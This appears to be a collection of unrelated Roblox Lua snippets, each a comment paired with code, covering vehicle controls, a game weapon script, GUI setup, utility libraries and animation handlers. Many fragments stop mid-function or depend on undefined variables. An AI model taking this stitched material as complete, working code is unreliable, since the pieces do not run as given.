--Put this inside of the ServerScriptService. |
local stat = "Points" --Change to your stat name
local startamount = 0 --Change to how much points the player will start out with
local DataStore = game:GetService("DataStoreService")
local ds = DataStore:GetDataStore("LeaderStatSave")
|
-- Demo dynamic settings |
local Gui = Instance.new("ScreenGui")
local CountLabel = Instance.new("TextLabel")
CountLabel.Text = string.format("Leaf Count: %d Active, %d Inactive, 77760 Total",0,0)
CountLabel.BackgroundTransparency = 0.3
CountLabel.BackgroundColor3 = Color3.new()
CountLabel.TextStrokeTransparency = 0.8
CountLabel.Size = UDim2.new(0.6,0,0,27)
CountLabel.Position = UDim2.new(0.2,0,1,-35)
CountLabel.Font = Enum.Font.RobotoMono
CountLabel.TextSize = 25
CountLabel.TextColor3 = Color3.new(1,1,1)
CountLabel.Parent = Gui
local SpeedInput = Instance.new("TextBox")
SpeedInput.Text = string.format("Wind Speed: %.1f",WIND_SPEED)
SpeedInput.PlaceholderText = "Input Speed"
SpeedInput.BackgroundTransparency = 0.8
SpeedInput.TextStrokeTransparency = 0.8
SpeedInput.Size = UDim2.new(0.2,0,0,20)
SpeedInput.Position = UDim2.new(0,5,0.45,0)
SpeedInput.Font = Enum.Font.RobotoMono
SpeedInput.TextXAlignment = Enum.TextXAlignment.Left
SpeedInput.TextSize = 18
SpeedInput.TextColor3 = Color3.new(1,1,1)
SpeedInput.FocusLost:Connect(function()
local newSpeed = tonumber(SpeedInput.Text:match("[%d%.]+"))
if newSpeed then
WIND_SPEED = math.clamp(newSpeed,0,50)
WindLines.Speed = WIND_SPEED
WindShake:UpdateAllObjectSettings({Speed = WIND_SPEED})
WindShake:SetDefaultSettings({Speed = WIND_SPEED})
end
SpeedInput.Text = string.format("Wind Speed: %.1f",WIND_SPEED)
end)
SpeedInput.Parent = Gui
local PowerInput = Instance.new("TextBox")
PowerInput.Text = string.format("Wind Power: %.1f",WIND_POWER)
PowerInput.PlaceholderText = "Input Power"
PowerInput.BackgroundTransparency = 0.8
PowerInput.TextStrokeTransparency = 0.8
PowerInput.Size = UDim2.new(0.2,0,0,20)
PowerInput.Position = UDim2.new(0,5,0.45,25)
PowerInput.Font = Enum.Font.RobotoMono
PowerInput.TextXAlignment = Enum.TextXAlignment.Left
PowerInput.TextSize = 18
PowerInput.TextColor3 = Color3.new(1,1,1)
PowerInput.FocusLost:Connect(function()
local newPower = tonumber(PowerInput.Text:match("[%d%.]+"))
if newPower then
WIND_POWER = math.clamp(newPower,0,3)
WindShake:UpdateAllObjectSettings({Power = WIND_POWER})
WindShake:SetDefaultSettings({Power = WIND_POWER})
end
PowerInput.Text = string.format("Wind Power: %.1f",WIND_POWER)
end)
PowerInput.Parent = Gui
local DirInput = Instance.new("TextBox")
DirInput.Text = string.format("Wind Direction: %.1f,%.1f,%.1f",WIND_DIRECTION.X,WIND_DIRECTION.Y,WIND_DIRECTION.Z)
DirInput.PlaceholderText = "Input Direction"
DirInput.BackgroundTransparency = 0.8
DirInput.TextStrokeTransparency = 0.8
DirInput.Size = UDim2.new(0.2,0,0,20)
DirInput.Position = UDim2.new(0,5,0.45,50)
DirInput.Font = Enum.Font.RobotoMono
DirInput.TextXAlignment = Enum.TextXAlignment.Left
DirInput.TextSize = 18
DirInput.TextColor3 = Color3.new(1,1,1)
DirInput.FocusLost:Connect(function()
local Inputs = table.create(3)
for Num in string.gmatch(DirInput.Text, "%-?[%d%.]+") do
Inputs[#Inputs+1] = tonumber(Num)
end
local newDir = Vector3.new(
Inputs[1] or WIND_DIRECTION.X,
Inputs[2] or WIND_DIRECTION.Y,
Inputs[3] or WIND_DIRECTION.Z
).Unit
if newDir then
WIND_DIRECTION = newDir
WindLines.Direction = newDir
WindShake:UpdateAllObjectSettings({Direction = newDir})
WindShake:SetDefaultSettings({Direction = newDir})
end
DirInput.Text = string.format("Wind Direction: %.1f, %.1f, %.1f",WIND_DIRECTION.X,WIND_DIRECTION.Y,WIND_DIRECTION.Z)
end)
DirInput.Parent = Gui
spawn(function()
while wait(0.1) do
local Active,Handled = WindShake.Active,WindShake.Handled
CountLabel.Text = string.format("Leaf Count: %d Active, %d Inactive, %d Not Streamed In (77760 Total)",Active,Handled-Active,77760-Handled)
end
end)
|
--[[Status Vars]] |
local _IsOn = _Tune.AutoStart
script.Parent.IsOn.Value = _IsOn
local _GSteerT=0
local _GSteerC=0
local _GThrot=0
local _GBrake=0
local _ClutchOn = true
local _ClPressing = false
local _RPM = 0
local _HP = 0
local _OutTorque = 0
local _CGear = 0
local _PGear = _CGear
local _spLimit = 0
local _TMode = _Tune.TransmissionType[1]
local _MSteer = false
local _SteerL = false
local _SteerR = false
local _PBrake = false
local _TCS = _Tune.TCSEnabled
local _TCSActive = false
local _ABS = _Tune.ABSEnabled
local _ABSActive = false
local _InControls = false
|
---SG Is Here---
---Please Dont Change Anything Can Dont Work If You Change-- | |
-- Just so you know, the lower the value of x, the faster it spins.
-- this is useful if you want to change the rotational speed. | |
--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent |
local function WaitForChild(parent, childName)
while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
return parent[childName]
end
local GLib = require(206209239)
|
--[=[
@return SIGNAL_MARKER
Returns a marker that will transform the current key into
a RemoteSignal once the service is created. Should only
be called within the Client table of a service.
See [RemoteSignal](https://sleitnick.github.io/RbxUtil/api/RemoteSignal)
documentation for more info.
```lua
local MyService = Knit.CreateService {
Name = "MyService",
Client = {
-- Create the signal marker, which will turn into a
-- RemoteSignal when Knit.Start() is called:
MySignal = Knit.CreateSignal(),
},
}
function MyService:KnitInit()
-- Connect to the signal:
self.Client.MySignal:Connect(function(player, ...) end)
end
```
]=] |
function KnitServer.CreateSignal()
return SIGNAL_MARKER
end
|
--[[**
ensures Roblox Vector3int16 type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]] |
t.Vector3int16 = primitive("Vector3int16")
|
--CasingMesh.Scale = Vector3.new(.75,.75,.75) |
CasingMesh.Parent = CasingBase
function OnFire()
if IsShooting then return end
if MyHumanoid and MyHumanoid.Health > 0 then
if RecoilTrack and AmmoInClip > 0 then
end
IsShooting = true
if AmmoInClip > 0 and not Reloading then
--if RecoilTrack then RecoilTrack:Play() end
if Handle:FindFirstChild('FireSound') then
Handle.FireSound:Play()
end
CreateFlash()
Tool.SetIcon:FireClient(game.Players:GetPlayerFromCharacter(Tool.Parent), "rbxasset://textures\\GunWaitCursor.png")
local targetPoint = MOUSE_TARGET
for i = 1, BulletCount do
local shootDirection = (targetPoint - Handle.Position).unit
-- Adjust the shoot direction randomly off by a little bit to account for recoil
-- moves random*spread in a random angle from center shot point (center bias)
shootDirection = ((CFrame.new(Vector3.new(0,0,0),shootDirection) * CFrame.Angles(0,0,math.random()*2*math.pi))*CFrame.Angles(math.random()*Spread,0,0)).lookVector
local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
local bullet
-- Create a bullet here
if hitObject then
bullet = CreateBullet(bulletPos, hitObject)
end
if hitObject and hitObject.Parent then
local hitHumanoid = hitObject.Parent:FindFirstChild("Humanoid") or hitObject.Parent.Parent:FindFirstChild'Humanoid'
if hitHumanoid then
local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
if not GLib.IsTeammate(MyPlayer, hitPlayer) then
GLib.TagHumanoid(MyPlayer, hitHumanoid, 1)
hitHumanoid:TakeDamage(Damage)
if bullet then
bullet:Destroy()
bullet = nil
--bullet.Transparency = 1
end
end
end
end
end
local casing = CasingBase:Clone()
casing.Position = Tool.Handle.Position + Vector3.new(0,1,0)
casing.Velocity = (Vector3.new((math.random()-.5),(.5+math.random()),(math.random()-.5)) - 1.5*(Tool.Handle.CFrame * CFrame.Angles(0,math.pi/4,0)).lookVector)*20
DebrisService:AddItem(casing, 2.5)
casing.Parent = game.Workspace
AmmoInClip = AmmoInClip - 1
UpdateAmmo(AmmoInClip)
wait(FireRate-.2)
if AmmoInClip > 0 then
if PumpTrack then
PumpTrack:Play()
end
if Handle:FindFirstChild('PumpSound') then
Handle.PumpSound:Play()
end
wait(.2)
end
Tool.SetIcon:FireClient(game.Players:GetPlayerFromCharacter(Tool.Parent), "rbxasset://textures\\GunCursor.png")
end
IsShooting = false
if AmmoInClip == 0 then
Reload()
end
if RecoilTrack then
RecoilTrack:Stop()
end
end
end
function UpdateAmmo(value)
if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then
WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
end
--if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then
-- WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
--end
end
function OnMouseDown()
LeftButtonDown = true
OnFire()
end
function OnMouseUp()
LeftButtonDown = false
end
function OnKeyDown(key)
if string.lower(key) == 'r' then
Reload()
end
end
Tool.Input.OnServerEvent:connect(function(client, action, ...)
if client.Character == Tool.Parent then
if action == 'Mouse1' then
local down, pos = ...
if down then
OnMouseDown()
else
OnMouseUp()
end
elseif action == 'Key' then
local down, key = ...
if down then
OnKeyDown(key)
end
elseif action == 'MouseMove' then
local pos = ...
MOUSE_TARGET = pos
end
end
end)
function OnEquipped()
EquipAnim = WaitForChild(Tool, 'Equip')
PumpAnim = WaitForChild(Tool, 'Reload')
FireSound = WaitForChild(Handle, 'FireSound')
MyCharacter = Tool.Parent
MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter)
MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
MyTorso = MyCharacter:FindFirstChild('Torso')
WeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone()
if WeaponGui and MyPlayer then
WeaponGui.Parent = MyPlayer.PlayerGui
UpdateAmmo(AmmoInClip)
end
if EquipAnim then
Tool.Grip = CFrame.new(0.132808685, 0.00749024749, 0.526850462, 0.925221086, 0.000443253666, 0.379427731, 0.00859767944, 0.999718785, -0.0221330915, -0.379331142, 0.0237402022, 0.924956799)
EquipTrack = MyHumanoid:LoadAnimation(EquipAnim)
EquipTrack:Play()
end
if PumpAnim then
PumpTrack = MyHumanoid:LoadAnimation(PumpAnim)
end
Tool.SetIcon:FireClient(game.Players:GetPlayerFromCharacter(Tool.Parent), "rbxasset://textures\\GunCursor.png")
end
|
--sort by values |
newTable.vsort = function(tbl, sort)
sort = sort or function(x, y)
return x > y
end
return newTable.xsort(tbl, function(x, y)
return sort(tbl[x], tbl[y])
end)
end
newTable.choice = function(tbl, resultCount)
resultCount = resultCount or 1
local results = {}
--clone the table
local clone = {}
for i,v in pairs(tbl) do
clone[i] = v
end
local keys = newTable.keys(clone)
for i=1,math.min(#tbl, math.max(resultCount, 1)) do
table.insert(results, tbl[table.remove(keys, math.random(#keys))])
end
return unpack(results)
end
newTable.one = function(tbl)
return tbl[math.random(#tbl)]
end
newTable.shallow = function(tbl)
local clone = {}
for key,val in pairs(tbl) do
clone[key] = val
end
return clone
end
newTable.deep = function(tbl)
local clone = {}
for key,val in pairs(tbl) do
if typeof(val) == "table" then
clone[key] = newTable.deep(val)
else
clone[key] = val
end
end
return clone
end
newTable.cloneKeys = function(tbl)
local ret = {}
for key,_ in pairs(tbl) do
ret[key] = true
end
return ret
end
newTable.dump = function(tbl, prefix)
prefix = prefix or ""
for key,val in pairs(tbl) do
print(("%s%s = %s"):format(prefix, tostring(key), tostring(val)))
if typeof(val) == "table" then
newTable.dump(val, ("%s.%s"):format(prefix, key))
end
end
end
newTable.merge = function(tbl, ...)
local ret = {}
for _,tbl in pairs({tbl, ...}) do
for _,value in pairs(tbl) do
table.insert(ret, value)
end
end
return ret
end
return setmetatable(newTable, {
__index = table
})
|
-- A variant of the function above that returns the velocity at a given point in time. |
local function GetVelocityAtTime(time, initialVelocity, acceleration)
return initialVelocity + acceleration * time
end
|
--[[iiUltimate's datastore highscore board [5/24/2015]
CREDIT TO: Dummiez for original, but I fixed it, and made it work for RPGs.
You can set your settings for the leaderboard here. Simply leave this 'HighScore' Model in the Workspace,
and do not touch the Config unless you know what you're doing!
(WARNINGS:)
DO NOT RENAME ANYTHING! IF YOU DO, YOU HAVE TO CHANGE SCRIPTS UP!
ALSO IF YOU ADD A NEW SCRIPT, YOU HAVE TO EDIT SOME STUFF!
If you rename the datastore, all highscores reset.
]] | |
--[[Drivetrain]] |
Tune.Config = "AWD" --"FWD" , "RWD" , "AWD"
--Differential Settings
Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 30 -- 1 - 100%
Tune.RDiffLockThres = 60 -- 0 - 100%
Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = true -- Implements TCS
Tune.TCSThreshold = 18 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 18 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 9 -- Minimum amount of torque at max reduction (in percent)
|
--[[[Default Controls]] |
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTransMode = Enum.KeyCode.M ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
------//High Ready Animations |
self.RightHighReady = CFrame.new(-1.1, .5, -1.1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0));
self.LeftHighReady = CFrame.new(0.65,0.4,-1.3) * CFrame.Angles(math.rad(-140),math.rad(30),math.rad(30));
self.RightElbowHighReady = CFrame.new(0,-0.25,-.35) * CFrame.Angles(math.rad(-45), math.rad(0), math.rad(0));
self.LeftElbowHighReady = CFrame.new(0,0, -0.1) * CFrame.Angles(math.rad(-15),math.rad(0),math.rad(0));
self.RightWristHighReady = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
self.LeftWristHighReady = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(-15),math.rad(0));
|
-------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------- |
function onRunning(speed)
if speed>0.01 then
playAnimation("walk", 0.1, Humanoid)
if currentAnimInstance and currentAnimInstance.AnimationId == "http://www.roblox.com/asset/?id=180426354" then
setAnimationSpeed(speed / 14.5)
end
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
if (setAngles) then
local desiredAngle = amplitude * math.sin(time * frequency)
RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
end |
--[[Controls]] |
local _CTRL = _Tune.Controls
local Controls = Instance.new("Folder",script.Parent)
Controls.Name = "Controls"
for i,v in pairs(_CTRL) do
local a=Instance.new("StringValue",Controls)
a.Name=i
a.Value=v.Name
a.Changed:connect(function()
if i=="MouseThrottle" or i=="MouseBrake" then
if a.Value == "MouseButton1" or a.Value == "MouseButton2" then
_CTRL[i]=Enum.UserInputType[a.Value]
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
end)
end
--Deadzone Adjust
local _PPH = _Tune.Peripherals
for i,v in pairs(_PPH) do
local a = Instance.new("IntValue",Controls)
a.Name = i
a.Value = v
a.Changed:connect(function()
a.Value=math.min(100,math.max(0,a.Value))
_PPH[i] = a.Value
end)
end
--Input Handler
function DealWithInput(input,IsRobloxFunction)
if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus
--Shift Down [Manual Transmission]
if _IsOn and (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin and car.Stats.Fuel.Value ~= 0 then
if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end
_CGear = math.max(_CGear-1,-1)
--Shift Up [Manual Transmission]
elseif _IsOn and (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin and car.Stats.Fuel.Value ~= 0 then
if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end
_CGear = math.min(_CGear+1,#_Tune.Ratios-2)
--Toggle Clutch
elseif _IsOn and (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then
if input.UserInputState == Enum.UserInputState.Begin then
_ClutchOn = false
_ClPressing = true
elseif input.UserInputState == Enum.UserInputState.End then
_ClutchOn = true
_ClPressing = false
end
--Toggle PBrake
elseif _IsOn and input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_PBrake = not _PBrake
elseif input.UserInputState == Enum.UserInputState.End then
if car.DriveSeat.Velocity.Magnitude>5 then
_PBrake = false
end
end
--Toggle Transmission Mode
elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then
local n=1
for i,v in pairs(_Tune.TransModes) do
if v==_TMode then n=i break end
end
n=n+1
if n>#_Tune.TransModes then n=1 end
_TMode = _Tune.TransModes[n]
--Throttle
elseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_GThrot = 1
else
_GThrot = _Tune.IdleThrottle/100
end
--Brake
elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_GBrake = 1
else
_GBrake = 0
end
--Steer Left
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = -1
_SteerL = true
else
if _SteerR then
_GSteerT = 1
else
_GSteerT = 0
end
_SteerL = false
end
--Steer Right
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = 1
_SteerR = true
else
if _SteerL then
_GSteerT = -1
else
_GSteerT = 0
end
_SteerR = false
end
--Toggle Mouse Controls
elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then
if input.UserInputState == Enum.UserInputState.End then
_MSteer = not _MSteer
_GThrot = _Tune.IdleThrottle/100
_GBrake = 0
_GSteerT = 0
_ClutchOn = true
end
--Toggle TCS
elseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then
if input.UserInputState == Enum.UserInputState.End then
_TCS = not _TCS
end
--Toggle ABS
elseif _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then
if input.UserInputState == Enum.UserInputState.End then
_ABS = not _ABS
end
end
--Variable Controls
if input.UserInputType.Name:find("Gamepad") then
--Gamepad Steering
if input.KeyCode == _CTRL["ContlrSteer"] then
if input.Position.X>= 0 then
local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X-cDZone)/(1-cDZone)
else
_GSteerT = 0
end
else
local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X+cDZone)/(1-cDZone)
else
_GSteerT = 0
end
end
--Gamepad Throttle
elseif _IsOn and input.KeyCode == _CTRL["ContlrThrottle"] then
_GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)
--Gamepad Brake
elseif input.KeyCode == _CTRL["ContlrBrake"] then
_GBrake = input.Position.Z
end
end
else
_GThrot = _Tune.IdleThrottle/100
_GSteerT = 0
_GBrake = 0
if _CGear~=0 then _ClutchOn = true end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)
UserInputService.InputEnded:connect(DealWithInput)
|
--[[
Updates all the monster component's interests
]] |
function MonsterManager.updateMonsterInterests()
for _, monster in pairs(monsters:getAll()) do
monster:updateInterests(interests)
end
end
|
--[[**
ensures Roblox Ray type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]] |
t.Ray = t.typeof("Ray")
|
--[[
Used to set a handler for when the promise resolves, rejects, or is
cancelled. Returns a new promise chained from this promise.
]] |
function Promise.prototype:_finally(traceback, finallyHandler, onlyOk)
if not onlyOk then
self._unhandledRejection = false
end
-- Return a promise chained off of this promise
return Promise._new(traceback, function(resolve, reject)
local finallyCallback = resolve
if finallyHandler then
finallyCallback = createAdvancer(traceback, finallyHandler, resolve, reject)
end
if onlyOk then
local callback = finallyCallback
finallyCallback = function(...)
if self._status == Promise.Status.Rejected then
return resolve(self)
end
return callback(...)
end
end
if self._status == Promise.Status.Started then
-- The promise is not settled, so queue this.
table.insert(self._queuedFinally, finallyCallback)
else
-- The promise already settled or was cancelled, run the callback now.
finallyCallback(self._status)
end
end, self)
end
|
-- loop to handle timed state transitions and tool animations |
while Character.Parent ~= nil do
local _, currentGameTime = wait(0.1)
stepAnimate(currentGameTime)
end
|
-- Dropdowns |
function Icon:setDropdown(arrayOfIcons)
-- Reset any previous icons
for i, otherIcon in pairs(self.dropdownIcons) do
otherIcon:leave()
end
-- Apply new icons
if type(arrayOfIcons) == "table" then
for i, otherIcon in pairs(arrayOfIcons) do
otherIcon:join(self, "dropdown", true)
end
end
-- Update dropdown
self:_updateDropdown()
return self
end
function Icon:_updateDropdown()
local values = {
maxIconsBeforeScroll = self:get("dropdownMaxIconsBeforeScroll") or "_NIL",
minWidth = self:get("dropdownMinWidth") or "_NIL",
padding = self:get("dropdownListPadding") or "_NIL",
dropdownAlignment = self:get("dropdownAlignment") or "_NIL",
iconAlignment = self:get("alignment") or "_NIL",
scrollBarThickness = self:get("dropdownScrollBarThickness") or "_NIL",
}
for k, v in pairs(values) do if v == "_NIL" then return end end
local YPadding = values.padding.Offset
local dropdownContainer = self.instances.dropdownContainer
local dropdownFrame = self.instances.dropdownFrame
local dropdownList = self.instances.dropdownList
local totalIcons = #self.dropdownIcons
local lastVisibleIconIndex = (totalIcons > values.maxIconsBeforeScroll and values.maxIconsBeforeScroll) or totalIcons
local newCanvasSizeY = -YPadding
local newFrameSizeY = 0
local newMinWidth = values.minWidth
table.sort(self.dropdownIcons, function(a,b) return a:get("order") < b:get("order") end)
for i = 1, totalIcons do
local otherIcon = self.dropdownIcons[i]
local _, otherIconSize = otherIcon:get("iconSize", nil, "beforeDropdown")
local increment = otherIconSize.Y.Offset + YPadding
if i <= lastVisibleIconIndex then
newFrameSizeY = newFrameSizeY + increment
end
if i == totalIcons then
newFrameSizeY = newFrameSizeY + increment/4
end
newCanvasSizeY = newCanvasSizeY + increment
local otherIconWidth = otherIconSize.X.Offset --+ 4 + 100 -- the +100 is to allow for notices
if otherIconWidth > newMinWidth then
newMinWidth = otherIconWidth
end
end
local finalCanvasSizeY = (lastVisibleIconIndex == totalIcons and 0) or newCanvasSizeY
self:set("dropdownCanvasSize", UDim2.new(0, 0, 0, finalCanvasSizeY))
self:set("dropdownSize", UDim2.new(0, (newMinWidth+4)*2, 0, newFrameSizeY))
-- Set alignment while considering screen bounds
local dropdownAlignment = values.dropdownAlignment:lower()
local alignmentDetails = {
left = {
AnchorPoint = Vector2.new(0, 0),
PositionXScale = 0,
ThicknessMultiplier = 0,
},
mid = {
AnchorPoint = Vector2.new(0.5, 0),
PositionXScale = 0.5,
ThicknessMultiplier = 0.5,
},
right = {
AnchorPoint = Vector2.new(0.5, 0),
PositionXScale = 1,
FrameAnchorPoint = Vector2.new(0, 0),
FramePositionXScale = 0,
ThicknessMultiplier = 1,
}
}
local alignmentDetail = alignmentDetails[dropdownAlignment]
if not alignmentDetail then
alignmentDetail = alignmentDetails[values.iconAlignment:lower()]
end
dropdownContainer.AnchorPoint = alignmentDetail.AnchorPoint
dropdownContainer.Position = UDim2.new(alignmentDetail.PositionXScale, 0, 1, YPadding+0)
local scrollbarThickness = values.scrollBarThickness
local newThickness = scrollbarThickness * alignmentDetail.ThicknessMultiplier
local additionalOffset = (dropdownFrame.VerticalScrollBarPosition == Enum.VerticalScrollBarPosition.Right and newThickness) or -newThickness
dropdownFrame.AnchorPoint = alignmentDetail.FrameAnchorPoint or alignmentDetail.AnchorPoint
